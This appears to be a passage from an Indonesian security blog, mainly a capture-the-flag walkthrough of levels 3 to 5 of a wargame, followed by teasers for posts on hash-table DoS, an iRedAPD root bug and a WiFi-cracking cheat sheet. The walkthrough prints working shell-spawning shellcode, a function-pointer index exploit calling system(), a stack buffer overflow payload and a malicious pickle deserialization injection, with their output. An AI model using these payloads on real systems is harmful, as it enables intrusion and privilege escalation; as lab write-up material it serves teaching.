alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini
sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak
ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.
Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu
bagaimana payload yang akan kita injeksi. Payload ini berisi
shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah
shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.
Jadi payload yang akan diinjeksi adalah:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08 |
35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang
hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi
36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload
tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte
(tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan
berapa index array fns yang akan dipakai?
Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.
Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk
pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19]
merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat
fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(),
fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi
“call eax”.
Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum
mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode,
sehingga CALL EAX = CALL SHELLCODE.
Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.
Ternyata penyebabnya adalah non-executable stack:
$ readelf -l /levels/level03 |grep GNU_STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 $ fvvvvv |
Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.
Cara 2
Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan
RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada
function run() yang isinya adalah memanggil fungsi system(). Fungsi ini
ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan
dalam kumpulan function pointer di array fns seperti to_upper(),
to_lower(), capitalize() dan length().
int run(const char *str) { // This function is now deprecated. return system(str); } |
Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap
saja sebagai sebuah function, run() tetap memiliki alamat.
level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep '<run>' 0804875b <run>: |
Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b.
Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif,
fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim
sebagai argument program (argv[2]) adalah:
cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08 |
Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4
byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line
sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload
panjangnya 36 (kelipatan 4).
$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")" Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20, user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b") at level03.c:62 (gdb) x/12xw &buf 0xffb23f8c: 0x20746163 0x6d6f682f 0x656c2f65 0x306c6576 0xffb23f9c: 0x702e2f34 0x77737361 0x0a64726f 0x230a0a0a 0xffb23fac: 0x0804875b 0x00000000 0x00000000 0x00000000 (gdb) p &fns[-20] $1 = (fn_ptr *) 0xffb23fac (gdb) p *(fns[-20]) $2 = {int (const char *)} 0x804875b <run> |
Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0×20746163 =
“cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada
alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”).
Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi
dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam
kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas
adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().
Seperti yang lainnya juga, bila user memasukkan index 0, maka yang
dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka
yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini
user memasukkan index -20, maka yang dipanggil adalah fungsi run().
$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")" i5cBbPvPCpcP |
Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.
Level 04
Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus
menyalahgunakan aplikasi /levels/level04 untuk membaca file
/home/level05/.password
Congratulations on making it to level 4! The password for the next level is in /home/level05/.password. As before, you may find /levels/level04 and /levels/level04.c useful. The vulnerabilities overfloweth! |
Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100') Reading symbols from /levels/level04...(no debugging symbols found)...done. (gdb) r Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch). Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () |
Source code dari aplikasi ini adalah:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #include <stdio.h> #include <string.h> #include <stdlib.h> void fun(char *str) { char buf[1024]; strcpy(buf, str); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: ./level04 STRING"); exit(-1); } fun(argv[1]); printf("Oh no! That didn't work!\n"); return 0; } |
Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy()
menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang
panjangnya terbatas hanya 1024.
Kita gunakan pattern_create dan pattern_offset dari metasploit untuk
menentukan dimana posisi return address. Dengan pattern_offset berhasil
diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan
mengetahui offset ini payload yang akan kita kirim komposisinya adalah:
[1036 byte shellcode + lain2] + [4 byte return address] |
Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus
return? Kita harus menentukan return address agar shellcode kita
tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?
Ternyata alamat stack pointer berubah-ubah, artinya mesin ini
mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita
menentukan return address, sehingga kita harus menggunakan teknik yang
sama seperti di level sebelumnya, yaitu teknik CALL EAX.
Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada
fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf
setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi
buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf =
CALL shellcode.
$ objdump -d /levels/level04|grep call |grep eax 8048438: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4) 804847f: ff d0 call *%eax 804857b: ff d0 call *%eax |
Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax,
yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini
statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai
return address. Sama seperti level sebelumnya, kita memakai shellcode
yang panjangnya 35 byte yang kita posisikan di awal buf.
Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk
shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya
sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte
(\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini
payload kita menjadi:
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08" |
Sekarang payload sudah siap, bisa langsung kita coba.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami level04 level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"') $ whoami level05 $ cat /home/level05/.password fzfDGnSmd317 |
Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.
Congratulations on making it to level 5! You're almost done! The password for the next (and final) level is in /home/level06/.password. As it turns out, level06 is running a public uppercasing service. You can POST data to it, and it'll uppercase the data for you: curl localhost:9020 -d 'hello friend' { "processing_time": 5.0067901611328125e-06, "queue_time": 0.41274619102478027, "result": "HELLO FRIEND" } You can view the source for this service in /levels/level05. As you can see, the service is structured as a queue server and a queue worker. Could it be that this seemingly innocuous service will be level06's downfall? |
Source code aplikasi ini adalah:
#!/usr/bin/env python import logging import json import optparse import os import pickle import random import re import string import sys import time import traceback import urllib from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer LOGGER_NAME = 'queue' logger = logging.getLogger(LOGGER_NAME) logger.addHandler(logging.StreamHandler(sys.stderr)) TMPDIR = '/tmp/level05' class Job(object): QUEUE_JOBS = os.path.join(TMPDIR, 'jobs') QUEUE_RESULTS = os.path.join(TMPDIR, 'results') def __init__(self): self.id = self.generate_id() self.created = time.time() self.started = None self.completed = None def generate_id(self): return ''.join([random.choice(string.ascii_letters) for i in range(20)]) def job_file(self): return os.path.join(self.QUEUE_JOBS, self.id) def result_file(self): return os.path.join(self.QUEUE_RESULTS, self.id) def start(self): self.started = time.time() def complete(self): self.completed = time.time() class QueueUtils(object): @staticmethod def deserialize(serialized): logger.debug('Deserializing: %r' % serialized) parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL) match = parser.match(serialized) direction = match.group(1) data = match.group(2) job = pickle.loads(match.group(3)) return direction, data, job @staticmethod def serialize(direction, data, job): serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job)) logger.debug('Serialized to: %r' % serialized) return serialized @staticmethod def enqueue(type, data, job): logger.info('Writing out %s data for job id %s' % (type, job.id)) if type == 'JOB': file = job.job_file() elif type == 'RESULT': file = job.result_file() else: raise ValueError('Invalid type %s' % type) serialized = QueueUtils.serialize(type, data, job) with open(file, 'w') as f: f.write(serialized) f.close() class QueueServer(object): # Called in server def run_job(self, data, job): QueueUtils.enqueue('JOB', data, job) result = self.wait(job) if not result: result = (None, 'Job timed out', None) return result def wait(self, job): job_complete = False for i in range(10): if os.path.exists(job.result_file()): logger.debug('Results file %s found' % job.result_file()) job_complete = True break else: logger.debug('Results file %s does not exist; sleeping' % job.result_file()) time.sleep(0.2) if job_complete: f = open(job.result_file()) result = f.read() os.unlink(job.result_file()) return QueueUtils.deserialize(result) else: return None class QueueWorker(object): def __init__(self): # ensure tmp directories exist if not os.path.exists(Job.QUEUE_JOBS): os.mkdir(Job.QUEUE_JOBS) if not os.path.exists(Job.QUEUE_RESULTS): os.mkdir(Job.QUEUE_RESULTS) def poll(self): while True: available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)] for job_file in available_jobs: try: self.process(job_file) except Exception, e: logger.error('Error processing %s' % job_file) traceback.print_exc() else: logger.debug('Successfully processed %s' % job_file) finally: os.unlink(job_file) if available_jobs: logger.info('Processed %d available jobs' % len(available_jobs)) else: time.sleep(1) def process(self, job_file): serialized = open(job_file).read() type, data, job = QueueUtils.deserialize(serialized) job.start() result_data = self.perform(data) job.complete() QueueUtils.enqueue('RESULT', result_data, job) def perform(self, data): return data.upper() class QueueHttpServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(404) self.send_header('Content-type','text/plain') self.end_headers() output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." } self.wfile.write(json.dumps(output)) self.wfile.close() def do_POST(self): length = int(self.headers.getheader('content-length')) post_data = self.rfile.read(length) raw_data = urllib.unquote(post_data) queue = QueueServer() job = Job() type, data, job = queue.run_job(data=raw_data, job=job) if job: status = 200 output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created } else: status = 504 output = { 'result' : data } self.send_response(status) self.send_header('Content-type','text/plain') self.end_headers() self.wfile.write(json.dumps(output, sort_keys=True, indent=4)) self.wfile.write('\n') self.wfile.close() def run_server(): try: server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer) logger.info('Starting QueueServer') server.serve_forever() except KeyboardInterrupt: logger.info('^C received, shutting down server') server.socket.close() def run_worker(): worker = QueueWorker() worker.poll() def main(): parser = optparse.OptionParser("""%prog [options] type""") parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.', dest='verbosity', action='count', default=0) opts, args = parser.parse_args() if opts.verbosity == 1: logger.setLevel(logging.INFO) elif opts.verbosity >= 2: logger.setLevel(logging.DEBUG) if len(args) != 1: parser.print_help() return 1 if args[0] == 'worker': run_worker() elif args[0] == 'server': run_server() else: raise ValueError('Invalid type %s' % args[0]) return 0 if __name__ == '__main__': sys.exit(main()) |
Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini
memakai module pickle yang diketahui dangerous bila tidak berhati-hati
memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.
Problem utamanya adalah pada fungsi deserialize() di bawah ini:
1 2 3 4 5 6 7 8 | def deserialize(serialized): logger.debug('Deserializing: %r' % serialized) parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL) match = parser.match(serialized) direction = match.group(1) data = match.group(2) job = pickle.loads(match.group(3)) return direction, data, job |
Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah
string menjadi object (deserialize). Fungsi load ini bisa diexploitasi
untuk mengeksekusi command shell bila string yang diload adalah string
yang malicious.
Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri
agar lebih leluasa melihat lognya. Dengan menjalankan command:
curl localhost:9020 -d 'testdata' |
Berikut ini adalah log yang terlihat:
1 2 | Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." TEST ini JOBnya lhooo--> "ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." <-- |
Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat
string yang akan di load oleh pickle. Input program ini ada 3 field:
type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah
field job yang bukan berasal dari input user, sedangkan string yang
diinput user (“testdata”) tidak ikut diload oleh pickle karena bukan
bagian dari field job.
Ide serangannya adalah dengan menginjeksi malicious string yang bila
diload oleh pickle akan mengeksekusi command. Contoh string yang
malicious adalah:
cos system (S'cat /etc/passwd' tR. |
String di atas bila diload oleh pickle akan mengeksekusi command “cat /etc/passwd”.
Tapi masalahnya adalah string yang kita masukkan sebagai input tidak
ikut diload oleh pickle karena input user masuk dalam field data, bukan
field job. Bagaimanakah caranya agar input user dianggap sebagai bagian
dari field job ?
Dari fungsi deserializae() terlihat ada regular expression yang memecah
sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut
dipisahkan oleh karakter ‘;’. Bagaimana bila kita memasukkan input
string yang mengandung karakter ‘;’ seperti ini:
curl localhost:9020 -d 'inidata; job: inijob' |
Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <-- |
Perhatikan bahwa sebagian dari string yang kita input kini menjadi
bagian dari field job dan ikut diload oleh pickle. Ini karena regular
expression mendeteksi adanya karakter ‘;’ dalam input string kita
sehingga menganggap sebagai batas field dan memasukkan string ‘inijob’
menjadi bagian dari field job.
Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field
job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun
payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload
sederhana di bawah ini password level06 bisa didapatkan.
$ cat payload.pkl cos system (S'cat /home/level06/.password > /tmp/levelsixx' tR. $ curl localhost:9020 -d "hajar; job: `cat payload.pkl`" { "result": "Job timed out" } $ cat /tmp/levelsixx SF2w8qU1QDj |
Pada Desember 2011 lalu, nRuns AG
mempublikasikan kerentantan pada implementasi hash table yang bisa
dieksploitasi untuk melakukan serangan denial of service. Karena hash
table adalah struktur data dasar yang tersedia di hampir semua bahasa
pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua
bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb.
Sebagai tulisan pembuka di tahun 2012,
saya akan membahas mengenai apa itu hash table, cara kerja hash table,
di mana kerentanan implementasi hash table saat ini dan bagaimana cara
mengeksploitasinya.
Continue reading »
Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge CTF OWASP dalam Appsec USA 2011.
Dalam challenge ini kita diminta
mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan
html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di
browser akan terlihat seperti ini:
Kita dihadapkan pada form yang meminta
kita memasukkan username dan PIN. Jadi challenge kita adalah menemukan
username dan PIN yang tepat untuk mendapatkan flag yang terenkripsi.
Dari form tersebut kita mendapat clue bahwa PIN ini formatnya adalah 6
digit.
Continue reading »
Hari ini saya menyadari ada yang
tidak beres dengan status teman-teman facebook saya. Banyak yang
mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali.
Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik
penyebaran status berantai tersebut.
Continue reading »
iRedAPD adalah salah satu komponen dari iRedMail
yang merupakan kumpulan script dan tools untuk membuat mail server
lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan
kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk
mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah
diumumkan di sini. Agar lebih jelas, di akhir tulisan saya embed juga video proof-of-concept eksploitasi bug ini.
Continue reading »
Agar lebih mudah memahami
pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk
masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan
WPA/WPA2 PSK.
Dalam video saya memasukkan MAC address
access point, MAC address komputer yang menjalankan backtrack dan MAC
address salah satu client yang terkoneksi ke access point ke dalam file
macaddress.sh untuk menyederhanakan video. Informasi MAC address access
point dan MAC address client bisa didapatkan dengan menjalankan
“airodump-ng wlan0″ , sedangkan informasi MAC address komputer sendiri
bisa didapatkan dengan menjalankan “macchanger -s wlan0″.
Clientless WEPContinue reading »
Saya baru membuat cheat sheet yang
cukup padat namun singkat untuk hacking wireless network dengan
Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk
melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam
aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng,
packetforge-ng, aircrack-ng dan masih banyak lagi lainnya.
Pre-requisite:- Backtrack, nggak harus tapi very recommended
- Wireless adapter dengan kemampuan packet injection. Saya pakai Alfa AWUS036H karena jangkauannya sangat jauh dan works out of the box di backtrack. Daftar lengkap wireless adapter yang compatible dengan backtrack bisa dilihat di daftar ini HCL: Wireless.
Cheat sheet ini mengcover sebagian besar
kemungkinan situasi di dunia nyata. Skenario jaringan wireless yang
bisa dihack dengan mengikuti cheat sheet ini adalah:
- WEP open authentication dengan client atau tanpa client (clientless WLAN)
- WEP shared key authentication (minimal harus ada 1 client)
- WPA/WPA2 Pre Shared Key (minimal harus ada 1 client)
Hampir semua jaringan wireless yang ada
sekarang masuk dalam 3 kemungkinan di atas. Jaringan dengan WEP, praktis
bisa dihack semua. Jaringan dengan WPA/WPA2 bisa dihack dengan
dictionary attack, jadi sangat tergantung daftar password yang dimiliki.
Dalam cheat sheet saya juga menyertakan cara menggunakan john the
ripper untuk generate password list atau melakukan modifikasi daftar
password dasar menjadi kata baru berdasarkan aturan tertentu.
Oke, selanjutnya langsung saja download cheat sheetnya: WiFu Cheat Sheet 1.0